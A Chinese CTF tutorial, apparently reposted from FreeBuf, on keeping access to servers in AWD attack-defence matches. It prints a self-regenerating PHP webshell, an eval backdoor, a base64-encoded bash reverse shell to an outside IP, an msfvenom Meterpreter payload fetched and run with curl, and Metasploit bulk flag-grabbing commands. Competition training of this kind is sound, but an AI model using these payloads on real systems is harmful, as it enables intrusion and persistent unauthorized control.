前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从红队视角看AWD攻击

从红队视角看AWD攻击

作者头像
FB客服
发布2023-02-16 14:41:17
4590
发布2023-02-16 14:41:17
举报
文章被收录于专栏:FreeBufFreeBuf

AWD的权限维持

攻防兼备AWD模式是一种综合考核参赛团队攻击、防御技术能力、即时策略的比赛模式。在攻防模式中,参赛队伍分别防守同样配置的虚拟靶机,并在有限的博弈时间内,找到其他战队的薄弱环节进行攻击,同时要对自己的靶机环境进行加固防守。

AWD需要权限维持,但通常情况下,我们使用不死马来维持权限:

代码语言:javascript
复制
<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__);     //删除自身
while(1)
{
    file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>');  //创建shell.php
    sleep(0);    //间隔时间
}
?>
代码语言:javascript
复制
(向右滑动、查看更多)

上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php。

但是这样有一些问题,防守方只要创建一个与不死马一样名字的文件夹即可终止不死马的创建:

代码语言:javascript
复制
rm -rf shell.php && mkdir shell.php

并且若是对方安装日志记录等文件,对方对方便可获得你使用的shell地址和密码,反过来将这个shell利用在其他的机器上,俗称上车。

红队权限维持

在红蓝对抗模拟中,权限维持是指攻击方(红队)取得某些有限的访问权限或者获得某些信息后,需要继续保持这些权限的过程。因此,权限维持是在这种情况下必要的,以确保攻击方能够在之后的攻击行动中使用这些权限或信息。

在红队权限维持的时候,我们通常使用后渗透工具Metasploit、Cobalt Strike等。由于AWD通常使用Linux,而Metasploit对windows和linux的兼容性都较好。这篇文章使用Metasploit来进行演示。

由于Metasploit工具有进程迁移,提权等操作,被入侵的服务器一般不容易发现自己已被入侵。这在AWD中刚好合适,并且可以使用Metasploit批量来获取FLAG。在实战中,即使站点文件全部被删除,站点已关闭,Metasploit的进程是依然存在的,这样就导致别的攻击方因为站点不存在无法攻击得分,而我们的进程依然存在从而得分,拉开比分的差距。

环境介绍

docker:

https://github.com/Cl0udG0d/AWDDocker

使用了其中的Web1来进行演示

预设后门为:http://localhost:8000/?springbird=phpinfo();

代码语言:javascript
复制
docker build -t test/awd:v1.0 .

拿到主机权限

进行权限维持的第一步是拥有主机的权限

代码语言:javascript
复制
#index.php
<?php
    echo "hi!This is SpringBird";
    @eval($_REQUEST['springbird']);
?>


可以看到这个是最简单的一句话后门,
刚好适合我们来演示

连接蚁剑

在服务器上开启一个nc监听

代码语言:javascript
复制
nc -lvp 1256

反弹shell

代码语言:javascript
复制
bash -c '{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvMTI1NiAwPiYx}|{base64,-d}|{bash,-i}'
代码语言:javascript
复制
(向右滑动、查看更多)

接收到shell

使用Metasploit进行权限维持

使用Metasploit生成后门文件

代码语言:javascript
复制
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=你的IP LPORT=8887 -f elf > mshell.elf
代码语言:javascript
复制
(向右滑动、查看更多)

之后启动一个python的http服务以供下载

代码语言:javascript
复制
python2 -m SimpleHTTPServer

启动监听

代码语言:javascript
复制
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123
set LPORT 8887
run
(向右滑动、查看更多)

之后在刚才拿到权限的服务器下载该恶意文件。

代码语言:javascript
复制
curl -O http://123.123.123.123:8000/mshell.elf && chmod +x ./mshell.elf && ./mshell.elf&
代码语言:javascript
复制
(向右滑动、查看更多)

可以看到该主机已经上线。

我们多上线几台服务器来模拟AWD环境

之后我们可以用sessions -c "cat /home/flag"来批量获取flag

最后,我们把一句话后门删除,权限依然存在。

总结一下用Metasploit进行AWD的权限维持批量获取flag更加方便,也更加稳定。

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-01-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • AWD的权限维持
  • 攻防兼备AWD模式是一种综合考核参赛团队攻击、防御技术能力、即时策略的比赛模式。在攻防模式中,参赛队伍分别防守同样配置的虚拟靶机,并在有限的博弈时间内,找到其他战队的薄弱环节进行攻击,同时要对自己的靶机环境进行加固防守。
  • 红队权限维持
  • 在红蓝对抗模拟中,权限维持是指攻击方(红队)取得某些有限的访问权限或者获得某些信息后,需要继续保持这些权限的过程。因此,权限维持是在这种情况下必要的,以确保攻击方能够在之后的攻击行动中使用这些权限或信息。
  • 环境介绍
  • docker:
  • 拿到主机权限
  • 进行权限维持的第一步是拥有主机的权限
  • 使用Metasploit进行权限维持
  • 使用Metasploit生成后门文件
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档